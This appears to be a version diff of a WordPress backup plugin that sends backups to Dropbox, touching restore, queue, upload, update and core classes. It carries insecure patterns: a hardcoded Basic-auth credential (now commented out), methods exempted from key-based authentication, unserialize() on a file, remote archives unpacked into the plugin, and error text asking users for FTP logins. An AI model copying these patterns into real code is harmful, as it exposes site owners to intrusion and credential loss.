  if (isset($this->params['name_backup']) && !empty($this->params['name_backup'])) {
38
+ $res = self::readFiles( DROPBOX_BACKUP_DIR_BACKUP . '/' . $this->params['name_backup'] );
39
+ if ($res === false) {
40
+ $res = self::readFiles(WPADM_DIR_BACKUP . '/' . $this->params['name_backup']);
41
+ }
42
+ if ($res === false) {
43
+ $res = self::readFiles(ABSPATH . WPADM_DIR_NAME . '/' . $this->params['name_backup']);
44
+ }
45
+ }
46
+ if ($res === false) {
47
+ $str = langWPADM::get('Website "%d" returned an error during backup restoration: Archive of Backup wasn\'t found "%s"', false, array('%d', '%s'), array(SITE_HOME, $this->params['name_backup']) );
48
+ WPAdm_Core::log($str);
49
+ $this->setError($str);
50
+ }
51
+ return $res;
52
+
53
+ }
54
+
55
+ private function readFiles($dir_backup)
56
+ {
57
+ if (is_dir($dir_backup)) {
58
+ WPAdm_Core::log('Read of Backup Files for Restore (' . $this->params['name_backup'] . ')');
59
+ $dir_open = opendir($dir_backup);
60
+ while($d = readdir($dir_open)) {
61
+ if ($d != "." && $d != '..') {
62
+ if(strpos($d, ".md5") !== false) {
63
+ $this->md5_info = explode ("\n", file_get_contents( $dir_backup . "/$d" ) );
64
+ } elseif(strpos($d, ".zip") !== false) {
65
+ $this->files_resotre[$d] = $dir_backup . "/$d";
66
  }
67
  }
 
68
  }
69
+ return true;
70
+ }
 
71
  return false;
 
72
  }
73
  private function setError($errors)
74
  {
87
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
88
  $this->result->setError('');
89
 
90
+ WPAdm_Core::log(langWPADM::get('Start Restore process', false));
91
  $n = count($this->md5_info);
92
+
 
 
93
  if (in_array('files', $this->params['types']) ) {
94
  foreach($this->files_resotre as $key => $file) {
95
  if (file_exists($file)) {
121
  ->add($commandContext)->save()
122
  ->execute();
123
  unset($commandContext);
124
+ if (file_exists(DROPBOX_BACKUP_DIR_BACKUP . "/mysqldump.sql")) {
125
+ @unlink(DROPBOX_BACKUP_DIR_BACKUP . "/mysqldump.sql");
126
+ }
127
  } else {
128
+ $log = langWPADM::get('Website "%d" returned an error during backup restoration: Part Backup is not exist "%s" ', false, array('%d', '%s'), array(SITE_HOME, $data[2]) );
129
+ $this->setError($log);
130
+ WPAdm_Core::log($log);
131
  break;
132
  }
133
  }
134
  }
135
  }
136
  } else {
137
+ WPAdm_Core::log(
138
+ langWPADM::get('Website "%d" returned an error during restore backup: Files for restore is not exist, check permission your backup data or You can send to us support request using "Help" button on plugin page.', false, array('%d'), array(SITE_HOME) )
139
+ );
140
  }
141
  return $this->result;
142
  }
methods/class-wpadm-method-queue-controller.php CHANGED
@@ -46,7 +46,6 @@ if (!class_exists('WPAdm_Method_Queue_Controller')) {
46
  private $id = '';
47
 
48
  public function __construct($params) {
49
- //WPAdm_Core::log("Запуск очереди. Параметры: " . print_r($params, true));
50
  $this->stime = time();
51
  parent::__construct($params);
52
  $this->queue_file = WPAdm_Core::getTmpDir() . '/' . $this->params['id'] . '.queue';
@@ -54,9 +53,7 @@ if (!class_exists('WPAdm_Method_Queue_Controller')) {
54
  $this->log("queue-file not exists: {$this->queue_file}");
55
  exit;
56
  }
57
- //WPAdm_Core::log('Открываем файл очереди ' . $this->queue_file);
58
  $queue = unserialize(file_get_contents($this->queue_file));
59
- //WPAdm_Core::log(print_r($queue, true));
60
  $this->id = $queue['id'];
61
  $this->step = (isset($queue['step']) && (int)$queue['step'] > 1) ? (int)$queue['step']+1 : 1;
62
  $this->contexts = $queue['contexts'];
@@ -65,27 +62,24 @@ if (!class_exists('WPAdm_Method_Queue_Controller')) {
65
 
66
  public function getResult()
67
  {
68
- // пока время не закончилось и есть задачи - выполняем
69
  while(!$this->timeIsOver() && $context = $this->getNextContext()) {
70
  $com = $context->get('command');
71
  $cmd = WPAdm_Command_Factory::getCommand($com);
72
  if ($cmd === null) {
73
- $this->result->setError('Command error:' . $com . ': '. 'Command not found: ' . $com);
74
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
75
  array_unshift($this->contexts, $context);
76
  $this->done();
77
  return $this->result;
78
  } elseif (!$cmd->execute($context)) {
79
- $this->result->setError('Command error:' . $com . ': '. $context->getError());
80
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
81
  array_unshift($this->contexts, $context);
82
  $this->done();
83
  return $this->result;
84
  } else {
85
- //
86
- //WPAdm_Core::log("Команда выполнена: {$com}");
87
  }
88
- //продолжаем работу
89
  }
90
 
91
  if ($this->step >= self::MAX_COUNT_STEPS) {
@@ -124,7 +118,6 @@ if (!class_exists('WPAdm_Method_Queue_Controller')) {
124
  }
125
 
126
  private function restart() {
127
- $this->log('restart(' . $this->step .'): ' . $this->id);
128
  $this->step ++;
129
  $url = get_option('siteurl');
130
  $pu = parse_url($url);
@@ -139,13 +132,9 @@ if (!class_exists('WPAdm_Method_Queue_Controller')) {
139
  'sign' => '',
140
 
141
  );
142
- /**
143
- *
144
- * request to itself to predict multitasking
145
- *
146
- */
147
  $socket = fsockopen($host, 80, $errno, $errstr, 30);
148
-
149
  $dp = explode(DIRECTORY_SEPARATOR,dirname(dirname(__FILE__)));
150
  $pl = array_pop($dp) . '_';
151
  // $data = 'wpadm_'.$pl.'request='.base64_encode(serialize($data));
46
  private $id = '';
47
 
48
  public function __construct($params) {
 
49
  $this->stime = time();
50
  parent::__construct($params);
51
  $this->queue_file = WPAdm_Core::getTmpDir() . '/' . $this->params['id'] . '.queue';
53
  $this->log("queue-file not exists: {$this->queue_file}");
54
  exit;
55
  }
 
56
  $queue = unserialize(file_get_contents($this->queue_file));
 
57
  $this->id = $queue['id'];
58
  $this->step = (isset($queue['step']) && (int)$queue['step'] > 1) ? (int)$queue['step']+1 : 1;
59
  $this->contexts = $queue['contexts'];
62
 
63
  public function getResult()
64
  {
 
65
  while(!$this->timeIsOver() && $context = $this->getNextContext()) {
66
  $com = $context->get('command');
67
  $cmd = WPAdm_Command_Factory::getCommand($com);
68
  if ($cmd === null) {
69
+ $this->result->setError( langWPADM::get('Website "%d" returned an error: Command "%com" not found. To solve this problem, we need to access the system logs of your hosting/server and/or from your backup, that you tried to create or simply send to us your FTP access data. You can send to us support request using "Help" button on plugin page.', false, array('%d', '%com'), array(SITE_HOME, $com ) ) );
70
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
71
  array_unshift($this->contexts, $context);
72
  $this->done();
73
  return $this->result;
74
  } elseif (!$cmd->execute($context)) {
75
+ $this->result->setError( langWPADM::get('Website "%d" returned some unknown error during command "%com" was running. To solve this problem, we need to access the system logs of your hosting/server and/or from your backup, that you tried to create or simply send to us your FTP access data. You can send to us support request using "Help" button on plugin page.', false, array('%d', '%com'), array(SITE_HOME, $com ) ) );
76
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
77
  array_unshift($this->contexts, $context);
78
  $this->done();
79
  return $this->result;
80
  } else {
81
+
 
82
  }
 
83
  }
84
 
85
  if ($this->step >= self::MAX_COUNT_STEPS) {
118
  }
119
 
120
  private function restart() {
 
121
  $this->step ++;
122
  $url = get_option('siteurl');
123
  $pu = parse_url($url);
132
  'sign' => '',
133
 
134
  );
135
+
 
 
 
 
136
  $socket = fsockopen($host, 80, $errno, $errstr, 30);
137
+ // $pl = (defined('WPADM_PLUGIN')) ? WPADM_PLUGIN . '_' : '';
138
  $dp = explode(DIRECTORY_SEPARATOR,dirname(dirname(__FILE__)));
139
  $pl = array_pop($dp) . '_';
140
  // $data = 'wpadm_'.$pl.'request='.base64_encode(serialize($data));
methods/class-wpadm-method-send-to-dropbox.php CHANGED
@@ -25,42 +25,44 @@ if (!class_exists('WPadm_Method_Send_To_Dropbox')) {
25
  $this->queue = new WPAdm_Queue($this->id);
26
 
27
  $ad = $this->params['access_details'];
28
- WPAdm_Core::log('Copying of Files to Dropbox');
29
  $this->queue->clear();
30
  $files = $this->params['files'];
31
  //$this->getResult()->setData($files);
32
 
33
  $dir = (isset($ad['dir'])) ? $ad['dir'] : '/';
34
- // Task creating to copy files to Dropbox
35
- foreach($files as $file) {
36
- $commandContext = new WPAdm_Command_Context();
37
- $commandContext->addParam('command', 'send_to_dropbox')
38
- ->addParam('key', $ad['key'])
39
- ->addParam('secret', $ad['secret'])
40
- ->addParam('token', $ad['token'])
41
- ->addParam('folder_project',$ad['folder'])
42
- ->addParam('folder', $dir)
43
- ->addParam('files', ABSPATH . $file);
44
- $this->queue->add($commandContext);
45
- unset($commandContext);
 
 
46
  }
47
  $res = $this->queue->save()
48
  ->execute();
49
  if (!$res) {
50
- WPAdm_Core::log('Dropbox: ' . $this->queue->getError());
51
- $errors[] = 'Dropbox: '.$this->queue->getError();
52
  }
53
- WPAdm_Core::log('End of copying files to Dropbox');
54
  if (count($errors) > 0) {
55
  $this->result->setError(implode("\n", $errors));
56
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
57
- }
58
 
59
  return $this->result;
60
 
61
 
62
  }
63
-
64
  private function init(array $conf) {
65
  //todo: нормализация
66
  $this->id = $conf['id'];
25
  $this->queue = new WPAdm_Queue($this->id);
26
 
27
  $ad = $this->params['access_details'];
28
+ WPAdm_Core::log( langWPADM::get('Start copy to Dropbox Cloud' , false) );
29
  $this->queue->clear();
30
  $files = $this->params['files'];
31
  //$this->getResult()->setData($files);
32
 
33
  $dir = (isset($ad['dir'])) ? $ad['dir'] : '/';
34
+ //$dir = trim($dir, '/') . '/' . $this->name;
35
+ if (is_array($files)) {
36
+ foreach($files as $file) {
37
+ $commandContext = new WPAdm_Command_Context();
38
+ $commandContext->addParam('command', 'send_to_dropbox')
39
+ ->addParam('key', $ad['key'])
40
+ ->addParam('secret', $ad['secret'])
41
+ ->addParam('token', $ad['token'])
42
+ ->addParam('folder_project',$ad['folder'])
43
+ ->addParam('folder', $dir)
44
+ ->addParam('files', ABSPATH . $file);
45
+ $this->queue->add($commandContext);
46
+ unset($commandContext);
47
+ }
48
  }
49
  $res = $this->queue->save()
50
  ->execute();
51
  if (!$res) {
52
+ WPAdm_Core::log(langWPADM::get('Answer from Dropbox ' , false) . $this->queue->getError());
53
+ $errors[] = langWPADM::get('Answer from Dropbox ' , false) . $this->queue->getError();
54
  }
55
+ WPAdm_Core::log( langWPADM::get('End Copy Files to Dropbox' , false) );
56
  if (count($errors) > 0) {
57
  $this->result->setError(implode("\n", $errors));
58
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
59
+ }
60
 
61
  return $this->result;
62
 
63
 
64
  }
65
+
66
  private function init(array $conf) {
67
  //todo: нормализация
68
  $this->id = $conf['id'];
methods/class-wpadm-method-update.php CHANGED
@@ -13,10 +13,10 @@ if (!class_exists('WPAdm_Method_Update')) {
13
  $n = count($this->params['files']);
14
  for($i = 0; $i < $n; $i++) {
15
  if ( ( $f = $this->dl($this->params['files'][$i]) ) === false ) {
16
- $error[] = 'Error to copy file ' . $this->params['files'][$i]['file'];
17
  } else {
18
  if ( is_string($f) && $this->unpack($f, $this->params['files'][$i]['to']) === false ) {
19
- $error[] = 'Error to extract file ' . $f;
20
  }
21
  if (file_exists($f)) {
22
  unlink($f);
@@ -56,8 +56,9 @@ if (!class_exists('WPAdm_Method_Update')) {
56
  $b = $file['to'];
57
  }
58
  if (!empty($d_)) {
59
- $headers = array( 'Authorization' => 'Basic ' . base64_encode( "admin24:admin24" ) );
60
  $f = wp_remote_get($file['file'], array('headers' => $headers));
 
61
  if (isset($f['body']) && !empty($f['body'])) {
62
  file_put_contents($d_ . "/" . $b, $f['body']);
63
  if (file_exists($d_ . "/" . $b)) {
@@ -83,10 +84,10 @@ if (!class_exists('WPAdm_Method_Update')) {
83
  PCLZIP_OPT_REPLACE_NEWER,
84
  PCLZIP_OPT_REMOVE_PATH, WPAdm_Core::$plugin_name
85
  );
 
86
  if ( $res ) {
87
  return true;
88
  }
89
- WPAdm_Core::log($this->archive->errorInfo(true));
90
  return false;
91
  }
92
  }
13
  $n = count($this->params['files']);
14
  for($i = 0; $i < $n; $i++) {
15
  if ( ( $f = $this->dl($this->params['files'][$i]) ) === false ) {
16
+ $error[] = langWPADM::get('Error to copy file ' , false) . $this->params['files'][$i]['file'];
17
  } else {
18
  if ( is_string($f) && $this->unpack($f, $this->params['files'][$i]['to']) === false ) {
19
+ $error[] = langWPADM::get('Error to extract file ' , false) . $f;
20
  }
21
  if (file_exists($f)) {
22
  unlink($f);
56
  $b = $file['to'];
57
  }
58
  if (!empty($d_)) {
59
+ //$headers = array( 'Authorization' => 'Basic ' . base64_encode( "admin24:admin24" ) );
60
  $f = wp_remote_get($file['file'], array('headers' => $headers));
61
+ WPAdm_Core::log(serialize($f));
62
  if (isset($f['body']) && !empty($f['body'])) {
63
  file_put_contents($d_ . "/" . $b, $f['body']);
64
  if (file_exists($d_ . "/" . $b)) {
84
  PCLZIP_OPT_REPLACE_NEWER,
85
  PCLZIP_OPT_REMOVE_PATH, WPAdm_Core::$plugin_name
86
  );
87
+ WPAdm_Core::log($this->archive->errorInfo(true));
88
  if ( $res ) {
89
  return true;
90
  }
 
91
  return false;
92
  }
93
  }
modules/class-wpadm-archive.php CHANGED
@@ -1,42 +1,42 @@
1
- <?php
2
- require_once dirname(__FILE__) . '/pclzip.lib.php';
3
- if (!class_exists('WPAdm_Archive')) {
4
- class WPAdm_Archive {
5
- private $remove_path = '';
6
- private $files = array();
7
- /**
8
- * @var PclZip
9
- */
10
- private $archive;
11
- private $md5_file = '';
12
-
13
- public function __construct($file, $md5_file = '') {
14
- $this->archive = new PclZip($file);
15
- $this->files[] = $file;
16
- $this->md5_file = $md5_file;
17
- }
18
-
19
- public function add($file) {
20
- if (empty($this->remove_path)) {
21
- $this->archive->add($file);
22
- } else {
23
- $this->archive->add($file, PCLZIP_OPT_REMOVE_PATH, $this->remove_path);
24
- }
25
- $this->saveMd5($file);
26
- }
27
-
28
- protected function saveMd5($file) {
29
- if ($this->md5_file) {
30
- $files = explode(',', $file); {
31
- foreach($files as $f) {
32
- file_put_contents($this->md5_file, $f . "\t" . md5_file($f) . "\t" . basename($this->archive->zipname) . "\n", FILE_APPEND);
33
- }
34
- }
35
- }
36
- }
37
-
38
- public function setRemovePath($remove_path) {
39
- $this->remove_path = $remove_path;
40
- }
41
- }
42
  }
1
+ <?php
2
+ require_once dirname(__FILE__) . '/pclzip.lib.php';
3
+ if (!class_exists('WPAdm_Archive')) {
4
+ class WPAdm_Archive {
5
+ private $remove_path = '';
6
+ private $files = array();
7
+ /**
8
+ * @var PclZip
9
+ */
10
+ private $archive;
11
+ private $md5_file = '';
12
+
13
+ public function __construct($file, $md5_file = '') {
14
+ $this->archive = new PclZip($file);
15
+ $this->files[] = $file;
16
+ $this->md5_file = $md5_file;
17
+ }
18
+
19
+ public function add($file) {
20
+ if (empty($this->remove_path)) {
21
+ $this->archive->add($file);
22
+ } else {
23
+ $this->archive->add($file, PCLZIP_OPT_REMOVE_PATH, $this->remove_path);
24
+ }
25
+ $this->saveMd5($file);
26
+ }
27
+
28
+ protected function saveMd5($file) {
29
+ if ($this->md5_file) {
30
+ $files = explode(',', $file); {
31
+ foreach($files as $f) {
32
+ file_put_contents($this->md5_file, $f . "\t" . @md5_file($f) . "\t" . basename($this->archive->zipname) . "\n", FILE_APPEND);
33
+ }
34
+ }
35
+ }
36
+ }
37
+
38
+ public function setRemovePath($remove_path) {
39
+ $this->remove_path = $remove_path;
40
+ }
41
+ }
42
  }
modules/class-wpadm-command-context.php CHANGED
@@ -1,28 +1,32 @@
1
- <?php
2
- if (!class_exists('WPAdm_Command_Context')) {
3
- class WPAdm_Command_Context {
4
- private $params = array();
5
- private $error = '';
6
-
7
- public function addParam($key, $val)
8
- {
9
- $this->params[$key] = $val;
10
- return $this;
11
- }
12
-
13
- public function get($key)
14
- {
15
- return $this->params[$key];
16
- }
17
-
18
- public function setError($error)
19
- {
20
- $this->error = $error;
21
- return $this;
22
- }
23
-
24
- public function getError() {
25
- return $this->error;
26
- }
27
- }
 
 
 
 
28
  }
1
+ <?php
2
+ if (!class_exists('WPAdm_Command_Context')) {
3
+ class WPAdm_Command_Context {
4
+ private $params = array();
5
+ private $error = '';
6
+
7
+ public function addParam($key, $val)
8
+ {
9
+ $this->params[$key] = $val;
10
+ return $this;
11
+ }
12
+
13
+ public function get($key)
14
+ {
15
+ if (isset($this->params[$key])) {
16
+ return $this->params[$key];
17
+ } else {
18
+ return false;
19
+ }
20
+ }
21
+
22
+ public function setError($error)
23
+ {
24
+ $this->error = $error;
25
+ return $this;
26
+ }
27
+
28
+ public function getError() {
29
+ return $this->error;
30
+ }
31
+ }
32
  }
class-wpadm-command.php → modules/class-wpadm-command.php RENAMED
File without changes
class-wpadm-core.php → modules/class-wpadm-core.php RENAMED
@@ -1,9 +1,9 @@
1
  <?php
2
- require_once dirname(__FILE__) . '/class-wpadm-result.php';
3
- require_once dirname(__FILE__) . '/class-wpadm-command.php';
4
- require_once dirname(__FILE__) . '/modules/class-wpadm-command-context.php';
5
- require_once dirname(__FILE__) . '/modules/class-wpadm-queue.php';
6
- require_once dirname(__FILE__) . '/modules/class-wpadm-command-factory.php';
7
 
8
 
9
  if (!class_exists('WPAdm_Core')) {
@@ -29,8 +29,13 @@ if (!class_exists('WPAdm_Core')) {
29
 
30
  private $plugin;
31
 
 
 
 
32
  public static $pl_dir;
33
 
 
 
34
  public static $plugin_name;
35
 
36
 
@@ -50,13 +55,17 @@ if (!class_exists('WPAdm_Core')) {
50
  } elseif ('local' == $request['method']){
51
 
52
  } elseif($obj = $this->getObject($request['method'], $request['params'])) {
53
- if (isset($obj->name)) {
54
- $this->name = $obj->name;
55
- }
56
- if (isset($obj->time)) {
57
- $this->time = $obj->time;
 
 
 
 
 
58
  }
59
- $this->result = $obj->getResult();
60
  } else {
61
  $this->result->setError('Unknown method "' . $request['method'] . '"');
62
  }
@@ -96,7 +105,6 @@ if (!class_exists('WPAdm_Core')) {
96
  $method = mb_strtolower($method);
97
 
98
  $class_file = self::$pl_dir . "/methods/class-wpadm-method-" . str_replace('_', '-', $method) . ".php";
99
-
100
  if (file_exists($class_file)) {
101
  require_once $class_file;
102
  $tmp = explode('_', str_replace('-', '_', $method));
@@ -127,23 +135,23 @@ if (!class_exists('WPAdm_Core')) {
127
  }
128
 
129
  private function connect() {
130
-
131
  add_option('wpadm_pub_key', $this->pub_key);
132
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
133
-
134
  $sendData['system_data'] = get_system_data();
135
  $data['actApi'] = 'setStats';
136
  $data['site'] = get_option('siteurl');
137
  $data['data'] = wpadm_pack($sendData);
138
  if (!class_exists('WP_Http')) {
139
- include_once ABSPATH.WPINC.'/class-http.php';
140
  }
141
 
142
  $remote = array();
143
  $remote['body'] = $data;
144
  $remote['timeout'] = 20;
145
 
146
- $result = wp_remote_post(WPADM_URL_BASE, $remote);
147
  }
148
  public static function setPluginDIr($dir)
149
  {
@@ -155,14 +163,15 @@ if (!class_exists('WPAdm_Core')) {
155
  */
156
  private function auth() {
157
  $this->pub_key = get_option('wpadm_pub_key');
158
- if ('local_backup' == $this->request['method'] || 'local_restore' == $this->request['method'] || 'queue_controller' == $this->request['method'] || 'local' == $this->request['method']) {
 
159
  return true;
160
  }
161
  if (empty($this->pub_key)) {
162
  if ('connect' == $this->request['method']) {
163
  $this->pub_key = $this->request['params']['pub_key'];
164
  } else {
165
- $this->getResult()->setError('Активируйте сайт на wpadm.com для работы плагинов.');
166
  return false;
167
  }
168
  } elseif ('connect' == $this->request['method']) {
@@ -195,10 +204,14 @@ if (!class_exists('WPAdm_Core')) {
195
  */
196
  static public function mkdir($dir) {
197
  if(!file_exists($dir)) {
198
- mkdir($dir, 0755);
199
  //todo: права доступа
200
- file_put_contents($dir . '/index.php', '');
 
 
 
201
  }
 
202
  }
203
 
204
  /**
@@ -254,10 +267,27 @@ if (!class_exists('WPAdm_Core')) {
254
  if (is_dir($f)) {
255
  self::rmdir($f);
256
  }
257
- unlink($f);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
258
  }
259
- rmdir($dir);
260
  }
 
261
  }
262
  }
263
  }
1
  <?php
2
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-result.php';
3
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-command.php';
4
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-command-context.php';
5
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-queue.php';
6
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-command-factory.php';
7
 
8
 
9
  if (!class_exists('WPAdm_Core')) {
29
 
30
  private $plugin;
31
 
32
+ public $name = '',
33
+ $time = '';
34
+
35
  public static $pl_dir;
36
 
37
+ public static $error = '';
38
+
39
  public static $plugin_name;
40
 
41
 
55
  } elseif ('local' == $request['method']){
56
 
57
  } elseif($obj = $this->getObject($request['method'], $request['params'])) {
58
+ if ($obj->isError()) {
59
+ $this->result = $obj->get_results();
60
+ } else {
61
+ if (isset($obj->name)) {
62
+ $this->name = $obj->name;
63
+ }
64
+ if (isset($obj->time)) {
65
+ $this->time = $obj->time;
66
+ }
67
+ $this->result = $obj->getResult();
68
  }
 
69
  } else {
70
  $this->result->setError('Unknown method "' . $request['method'] . '"');
71
  }
105
  $method = mb_strtolower($method);
106
 
107
  $class_file = self::$pl_dir . "/methods/class-wpadm-method-" . str_replace('_', '-', $method) . ".php";
 
108
  if (file_exists($class_file)) {
109
  require_once $class_file;
110
  $tmp = explode('_', str_replace('-', '_', $method));
135
  }
136
 
137
  private function connect() {
138
+
139
  add_option('wpadm_pub_key', $this->pub_key);
140
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
141
+
142
  $sendData['system_data'] = get_system_data();
143
  $data['actApi'] = 'setStats';
144
  $data['site'] = get_option('siteurl');
145
  $data['data'] = wpadm_pack($sendData);
146
  if (!class_exists('WP_Http')) {
147
+ include_once ABSPATH . WPINC . '/class-http.php';
148
  }
149
 
150
  $remote = array();
151
  $remote['body'] = $data;
152
  $remote['timeout'] = 20;
153
 
154
+ $result = wp_remote_post(WPADM_URL_BASE . "/api/", $remote);
155
  }
156
  public static function setPluginDIr($dir)
157
  {
163
  */
164
  private function auth() {
165
  $this->pub_key = get_option('wpadm_pub_key');
166
+ $methods_local = array('local_backup', 'send-to-dropbox', 'local_restore', 'local', 'queue_controller', 'local_send_to_s3');
167
+ if ( in_array($this->request['method'], $methods_local) ) {
168
  return true;
169
  }
170
  if (empty($this->pub_key)) {
171
  if ('connect' == $this->request['method']) {
172
  $this->pub_key = $this->request['params']['pub_key'];
173
  } else {
174
+ $this->getResult()->setError('Activate site in WPAdm.com for work to plugins.');
175
  return false;
176
  }
177
  } elseif ('connect' == $this->request['method']) {
204
  */
205
  static public function mkdir($dir) {
206
  if(!file_exists($dir)) {
207
+ @mkdir($dir, 0755);
208
  //todo: права доступа
209
+ @file_put_contents($dir . '/index.php', '<?php echo "Hello World!"; ');
210
+ if ( !is_writable($dir . '/index.php') ) {
211
+ self::$error = str_replace("&s", $dir, langWPADM::get('Failed to create a file, please check the permissions on the folders "&s".', false) );
212
+ }
213
  }
214
+ return self::$error;
215
  }
216
 
217
  /**
267
  if (is_dir($f)) {
268
  self::rmdir($f);
269
  }
270
+ if (file_exists($f)) {
271
+ @unlink($f);
272
+ }
273
+ }
274
+ @rmdir($dir);
275
+ } elseif (is_file($dir)) {
276
+ @unlink($dir);
277
+ }
278
+ }
279
+ static function dir_writeble($dir)
280
+ {
281
+ $error = self::mkdir($dir);
282
+ $ret = true;
283
+ if (empty($dir)) {
284
+ @file_put_contents($dir . "/test", "Hello World!!!");
285
+ if (!@is_writable($dir . "/test") && @filesize($dir . "/test") == 0) {
286
+ $ret = false;
287
  }
288
+ @unlink($dir . "/test");
289
  }
290
+ return $ret;
291
  }
292
  }
293
  }
modules/class-wpadm-method-class.php ADDED
@@ -0,0 +1,41 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+
3
+
4
+ if (!class_exists('WPAdm_Method_Class')) {
5
+ abstract class WPAdm_Method_Class {
6
+ /**
7
+ * @var mixed
8
+ */
9
+ protected $params;
10
+
11
+ /**
12
+ * @var WPAdm_result
13
+ */
14
+ protected $result;
15
+
16
+ /**
17
+ * @param mixed $params
18
+ */
19
+ public function __construct($params) {
20
+ $this->params = $params;
21
+ $this->result = new WPAdm_Result();
22
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
23
+ $this->result->setError('');
24
+ if (!is_dir( DROPBOX_BACKUP_DIR_BACKUP ) ) {
25
+ WPAdm_Core::mkdir( DROPBOX_BACKUP_DIR_BACKUP );
26
+ }
27
+ }
28
+
29
+ abstract function getResult();
30
+
31
+ public function isError()
32
+ {
33
+ $error = $this->result->getError();
34
+ return isset($this->result) && !empty( $error );
35
+ }
36
+ public function get_results()
37
+ {
38
+ return $this->result;
39
+ }
40
+ }
41
+ }
modules/class-wpadm-mysqldump.php CHANGED
@@ -8,222 +8,143 @@ if (!class_exists('WPAdm_Mysqldump')) {
8
  public $host = '';
9
  public $user = '';
10
  public $password = '';
11
- public $dbh ;
12
 
13
  private function connect($db = '') {
14
  WPAdm_Core::log("----------------------------------------------------");
15
- WPAdm_Core::log("Connecting to MySQL...");
16
- if ($db) {
17
- $link = mysqli_connect($this->host, $this->user, $this->password, $db);
18
- } else {
19
- $link = mysqli_connect($this->host, $this->user, $this->password);
20
- }
21
- if (mysqli_connect_errno()) {
22
- $this->setError('MySQL Connect failed: ' . mysqli_connect_error());
23
- }
24
- $this->dbh = $link;
25
- $this->init_charset($link);
26
- $this->set_charset($link);
27
- return $link;
28
-
29
- }
30
-
31
- public function set_charset( $link, $charset = null, $collate = null ) {
32
- if ( ! isset( $charset ) )
33
- $charset = $this->charset;
34
- if ( ! isset( $collate ) )
35
- $collate = $this->collate;
36
- WPAdm_Core::log("MySQL set Charset $charset");
37
- if (! empty( $charset ) ) {
38
- if ( function_exists( 'mysqli_set_charset' )) {
39
- mysqli_set_charset( $link, $charset );
40
- } else {
41
- $query = $this->prepare( 'SET NAMES %s', $charset );
42
- if ( ! empty( $collate ) )
43
- $query .= $this->prepare( ' COLLATE %s', $collate );
44
- mysqli_query( $link, $query );
45
  }
46
-
47
- }
48
- }
49
- public function init_charset($link)
50
- {
51
- if ( function_exists('is_multisite') && is_multisite() ) {
52
- $this->charset = 'utf8';
53
- if ( defined( 'DB_COLLATE' ) && DB_COLLATE ) {
54
- $this->collate = DB_COLLATE;
55
- } else {
56
- $this->collate = 'utf8_general_ci';
57
- }
58
- } elseif ( defined( 'DB_COLLATE' ) ) {
59
- $this->collate = DB_COLLATE;
60
- }
61
-
62
- if ( defined( 'DB_CHARSET' ) ) {
63
- $this->charset = DB_CHARSET;
64
- }
65
-
66
- if ( ( ! ( $link instanceof mysqli ) )
67
- || ( empty( $link ) || ! ( $link instanceof mysqli ) ) ) {
68
- return;
69
- }
70
-
71
- if ( 'utf8' === $this->charset && $this->has_cap( 'utf8mb4' ) ) {
72
- $this->charset = 'utf8mb4';
73
- }
74
-
75
- if ( 'utf8mb4' === $this->charset && ( ! $this->collate || stripos( $this->collate, 'utf8_' ) === 0 ) ) {
76
- $this->collate = 'utf8mb4_unicode_ci';
77
- }
78
- }
79
- public function has_cap( $db_cap ) {
80
- $version = $this->db_version();
81
-
82
- switch ( strtolower( $db_cap ) ) {
83
- case 'collation' : // @since 2.5.0
84
- case 'group_concat' : // @since 2.7.0
85
- case 'subqueries' : // @since 2.7.0
86
- return version_compare( $version, '4.1', '>=' );
87
- case 'set_charset' :
88
- return version_compare( $version, '5.0.7', '>=' );
89
- case 'utf8mb4' : // @since 4.1.0
90
- if ( version_compare( $version, '5.5.3', '<' ) ) {
91
- return false;
92
- }
93
- $client_version = mysqli_get_client_info();
94
- if ( false !== strpos( $client_version, 'mysqlnd' ) ) {
95
- $client_version = preg_replace( '/^\D+([\d.]+).*/', '$1', $client_version );
96
- return version_compare( $client_version, '5.0.9', '>=' );
97
- } else {
98
- return version_compare( $client_version, '5.5.3', '>=' );
99
  }
 
 
100
  }
101
-
102
- return false;
103
- }
104
- public function db_version() {
105
-
106
- $server_info = mysqli_get_server_info( $this->dbh );
107
-
108
- return preg_replace( '/[^0-9.].*/', '', $server_info );
109
- }
110
- public function prepare( $query, $args ) {
111
- if ( is_null( $query ) )
112
- return;
113
-
114
- // This is not meant to be foolproof -- but it will catch obviously incorrect usage.
115
- if ( strpos( $query, '%' ) === false ) {
116
- _doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9' );
117
- }
118
-
119
- $args = func_get_args();
120
- array_shift( $args );
121
- // If args were passed as an array (as in vsprintf), move them up
122
- if ( isset( $args[0] ) && is_array($args[0]) )
123
- $args = $args[0];
124
- $query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
125
- $query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
126
- $query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
127
- $query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
128
- array_walk( $args, array( $this, 'escape_by_ref' ) );
129
- return @vsprintf( $query, $args );
130
  }
131
 
132
  public function optimize($db) {
133
  $link = $this->connect($db);
134
- WPAdm_Core::log("Optimize Database Tables was started");
135
- if (!$result = mysqli_query($link, 'SHOW TABLES')) {
136
- $this->setError(mysqli_error($link));
137
- };
138
- while($row = mysqli_fetch_row($result))
